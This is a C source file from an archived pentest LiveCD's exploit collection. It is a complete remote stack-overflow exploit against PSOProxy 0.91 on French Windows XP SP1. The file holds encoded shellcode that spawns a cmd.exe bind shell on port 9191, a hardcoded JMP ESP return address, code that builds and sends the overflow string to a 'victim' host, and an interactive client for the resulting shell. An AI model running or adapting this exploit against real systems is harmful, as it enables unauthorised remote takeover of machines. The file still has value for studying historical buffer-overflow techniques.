home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / psoproxy / PSOProxy-exp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  332 lines

  1. /*
  2.  * PSOProxy remote stack-based overflow
  3.  * by Li0n7@voila.fr
  4.  * Bug found by Donato Ferrante <fdonato@autistici.org>
  5.  * Spawns cmd.exe on port 9191
  6.  *
  7.  * usage: ./PSOProxy-exp -h <victim> -p <port> -t <target>
  8.  * Platforms supported are:
  9.  *     0 - XP SP1 FR - PSOProxy 0.91 - 0x77d615b9
  10.  *
  11.  * $./PSOProxy-exp -h 192.168.0.1 -p 8080 -t 0
  12.  * PSOProxy <= 0.91 remote exploit
  13.  * Bug found by Donato Ferrante <fdonato@autistici.org>
  14.  * Exploit written by Li0n7 <Li0n7@voila.fr>
  15.  *
  16.  * [+] Connected to 192.168.0.1:8080.
  17.  * [+] Building evil string to send (0x77d615b9).
  18.  * [+] Here's your shell, have fun!
  19.  * Microsoft Windows XP [version 5.1.2600]
  20.  * (C) Copyright 1985-2001 Microsoft Corp.
  21.  *
  22.  * C:\Program Files\psoproxy-x86-win32-0.91>
  23.  *
  24.  */
  25.  
  26. #include <stdio.h>
  27. #include <unistd.h>
  28. #include <netdb.h>
  29. #include <netinet/in.h>
  30. #include <errno.h>
  31. #include <fcntl.h>
  32.  
  33. #define BACK         9191
  34. #define D_PORT       8080
  35. #define SIZE         2048
  36. #define JMP_ESP      0x77D4643D // USER32.DLL JMP ESP addr
  37.  
  38. //ripped shellcode from ?
  39.  
  40. char shellcode[] =
  41.  "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33"
  42.   "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C"
  43.   "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE"
  44.   "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB"
  45.   "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77"
  46.   "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77"
  47.   "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77"
  48.   "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77"
  49.   "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77"
  50.   "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77"
  51.   "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77"
  52.   "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77"
  53.   "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77"
  54.   "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB"
  55.   "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C"
  56.   "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0"
  57.   "\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77"
  58.   "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0"
  59.   "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB"
  60.   "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5"
  61.   "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98"
  62.   "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE"
  63.   "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77"
  64.   "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8"
  65.   "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF"
  66.   "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90"
  67.   "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74"
  68.   "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4"
  69.   "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94"
  70.   "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5"
  71.   "\xD3\x4A\x8C\x88";
  72.  
  73. struct os_ret_addr
  74. {
  75.       int num;
  76.       char *plat;
  77.       long ret;
  78. };
  79.  
  80. struct os_ret_addr exp_os[]=
  81. {
  82. {0,"XP SP1 FR - PSOProxy 0.91", 0x77D615B9}, // USER32.DLL jmp esp addr
  83. {0,NULL,0},
  84. };
  85.  
  86. char *build(long ret);
  87. int back_connection(long host);
  88. void send_evil(int fd,char evil[]);
  89. int set_connection(long host,int port);
  90. long resolve_host(u_char *host_name);
  91. void die(char *argv);
  92.  
  93. int
  94. main(int argc,char *argv[])
  95. {
  96.       int i, option, fd, port = D_PORT;
  97.       long host = 0, ret = JMP_ESP;
  98.       char * option_list = "h:p:t:", buffer[SIZE];
  99.  
  100.       opterr = 0;
  101.  
  102.       fprintf(stdout,"PSOProxy <= 0.91 remote exploit\r\n");
  103.       fprintf(stdout,"Bug found by Donato Ferrante <fdonato@autistici.org>\r\n");
  104.       fprintf(stdout,"Exploit written by Li0n7 <Li0n7@voila.fr>\r\n\n");
  105.  
  106.       if (argc < 2) die(argv[0]);
  107.  
  108.       while((option = getopt(argc,argv,option_list)) != -1)
  109.           switch(option)
  110.           {
  111.               case 'h':
  112.                   host = resolve_host(optarg);
  113.                   if(!host)
  114.                   {
  115.                       fprintf(stderr,"[-] Host address incorrect.\n");
  116.                       exit(0);
  117.                   }
  118.                   break;
  119.               case 'p':
  120.                   port = atoi(optarg);
  121.                   if(port > 65535 || port < 0) exit(1);
  122.                   break;
  123.               case 't':
  124.                   for(i=0; exp_os[i].plat != NULL; i++)
  125.                   if(atoi(optarg) > i || atoi(optarg) < 0)
  126.                   {
  127.                       fprintf(stderr,"Platforms supported are:\n");
  128.                       for(i=0; exp_os[i].plat != NULL; i++)
  129.                           fprintf(stderr,"\t%i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
  130.                           exit(1);
  131.                   }
  132.                   ret = exp_os[atoi(optarg)].ret;
  133.                   break;
  134.               case '?':
  135.                   fprintf(stderr,"[-] option \'%c\' unknown\n",optopt);
  136.                   die(argv[0]);
  137.           }
  138.  
  139.       fd = set_connection(host,port);
  140.       strncpy(buffer,build(ret),SIZE-1);
  141.       buffer[SIZE-1] = '\0';
  142.       send_evil(fd,buffer);
  143.       back_connection(host);
  144.       return 0;
  145. }
  146.  
  147. char
  148. *build(long ret)
  149. {
  150.       char *buffer,*ptr,*request;
  151.       int i;
  152.       long *addr_ptr;
  153.  
  154.       fprintf(stdout,"[+] Building evil string to send (0x%x).\n",ret);
  155.       buffer = (char *)malloc(SIZE);
  156.       request = (char *)malloc(SIZE+4);
  157.  
  158.       if(!buffer || !request)
  159.       {
  160.           fprintf(stderr,"[-] Can't allocate memory, exiting...\n");
  161.           exit(0);
  162.       }
  163.  
  164.       ptr = buffer;
  165.       memset(ptr,0x41,1024);
  166.       ptr += 1024;
  167.  
  168.       addr_ptr = (long *)ptr;
  169.       *(addr_ptr++) = ret;
  170.       ptr = (char *)addr_ptr;
  171.  
  172.       memset(ptr,0x90,20);
  173.       ptr += 20;
  174.       memcpy(ptr,shellcode,strlen(shellcode));
  175.       ptr += strlen(shellcode);
  176.  
  177.       snprintf(request,SIZE+64,"%s\r\n",buffer);
  178.       return request;
  179. }
  180.  
  181.  
  182. int
  183. back_connection(long host)
  184. {
  185.       struct sockaddr_in s;
  186.       u_char sock_buf[4096];
  187.       fd_set fds;
  188.       int fd,size;
  189.       char *command="ver\n";
  190.  
  191.       fd = socket(AF_INET, SOCK_STREAM, 0);
  192.       if (fd < 0)
  193.       {
  194.           fprintf(stderr,"[-] %s\n",strerror(errno));
  195.           exit(0);
  196.       }
  197.  
  198.       s.sin_family = AF_INET;
  199.       s.sin_port   = htons(BACK);
  200.       s.sin_addr.s_addr = host;
  201.  
  202.       if (connect(fd, (struct sockaddr *)&s, sizeof(struct sockaddr)) == -1)
  203.       {
  204.           fprintf(stderr,"[-] %s\n",strerror(errno));
  205.           close(fd);
  206.           return 0;
  207.       }
  208.  
  209.       fprintf(stdout, "[+] Here's your shell, have fun!\n\n");
  210.  
  211.       size = send(fd, command, strlen(command), 0);
  212.       if(size < 0)
  213.       {
  214.           fprintf(stderr,"[-] %s\n",strerror(errno));
  215.           close(fd);
  216.           exit(0);
  217.       }
  218.  
  219.       for (;;)
  220.       {
  221.           FD_ZERO(&fds);
  222.           FD_SET(0, &fds);
  223.           FD_SET(fd, &fds);
  224.  
  225.           if (select(255, &fds, NULL, NULL, NULL) == -1)
  226.           {
  227.               fprintf(stderr,"[-] %s\n",strerror(errno));
  228.               close(fd);
  229.               exit(0);
  230.           }
  231.  
  232.           memset(sock_buf, 0, sizeof(sock_buf));
  233.  
  234.           if (FD_ISSET(fd, &fds))
  235.           {
  236.               if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1)
  237.               {
  238.                   fprintf(stderr, "[-] Connection closed by remote host.\n");
  239.                   close(fd);
  240.                   exit(0);
  241.               }
  242.  
  243.               fprintf(stderr, "%s", sock_buf);
  244.           }
  245.  
  246.           if (FD_ISSET(0, &fds))
  247.           {
  248.               read(0, sock_buf, sizeof(sock_buf));
  249.               write(fd, sock_buf, strlen(sock_buf));
  250.           }
  251.       }
  252.       return 0;
  253. }
  254.  
  255. void
  256. send_evil(int fd,char evil[SIZE+64])
  257. {
  258.       int size;
  259.       size = send(fd, evil, strlen(evil), 0);
  260.       if(size < 0)
  261.       {
  262.           fprintf(stderr,"[-] %s\n",strerror(errno));
  263.           close(fd);
  264.           exit(0);
  265.       }
  266.       sleep(1);
  267.       return;
  268. }
  269.  
  270.  
  271. int
  272. set_connection(long host,int port)
  273. {
  274.       struct sockaddr_in s;
  275.       struct hostent * hoste;
  276.       int fd,size;
  277.  
  278.       fd = socket(AF_INET,SOCK_STREAM,0);
  279.       if(fd < 0)
  280.       {
  281.           fprintf(stderr,"[-] %s\n",strerror(errno));
  282.           exit(0);
  283.       }
  284.  
  285.       s.sin_family = AF_INET;
  286.       s.sin_addr.s_addr = host;
  287.       s.sin_port = htons(port);
  288.  
  289.       if(connect(fd,(struct sockaddr *)&s,sizeof(s)) == -1)
  290.       {
  291.           fprintf(stderr,"[-] %s\n",strerror(errno));
  292.           close(fd);
  293.           exit(0);
  294.       }
  295.  
  296.       fprintf(stdout,"[+] Connected to %s:%i.\n",inet_ntoa(s.sin_addr.s_addr),port);
  297.  
  298.       sleep(1);
  299.       return fd;
  300.  
  301. }
  302.  
  303. long resolve_host(u_char *host_name)
  304. {
  305.       struct in_addr addr;
  306.       struct hostent *host_ent;
  307.  
  308.       addr.s_addr = inet_addr(host_name);
  309.       if (addr.s_addr == -1)
  310.       {
  311.           host_ent = gethostbyname(host_name);
  312.           if (!host_ent) return(0);
  313.           memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
  314.       }
  315.  
  316.       return(addr.s_addr);
  317. }
  318.  
  319. void
  320. die(char *argv)
  321. {
  322.       int i;
  323.       fprintf(stdout,"usage: %s -h <victim> -p <port> -t <target>\n",argv);
  324.       fprintf(stderr,"Platforms supported are:\n");
  325.       for(i=0; exp_os[i].plat != NULL; i++)
  326.           fprintf(stderr,"\t%i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
  327.       exit(1);
  328. }
  329.  
  330. /* A poil! */
  331.  
  332.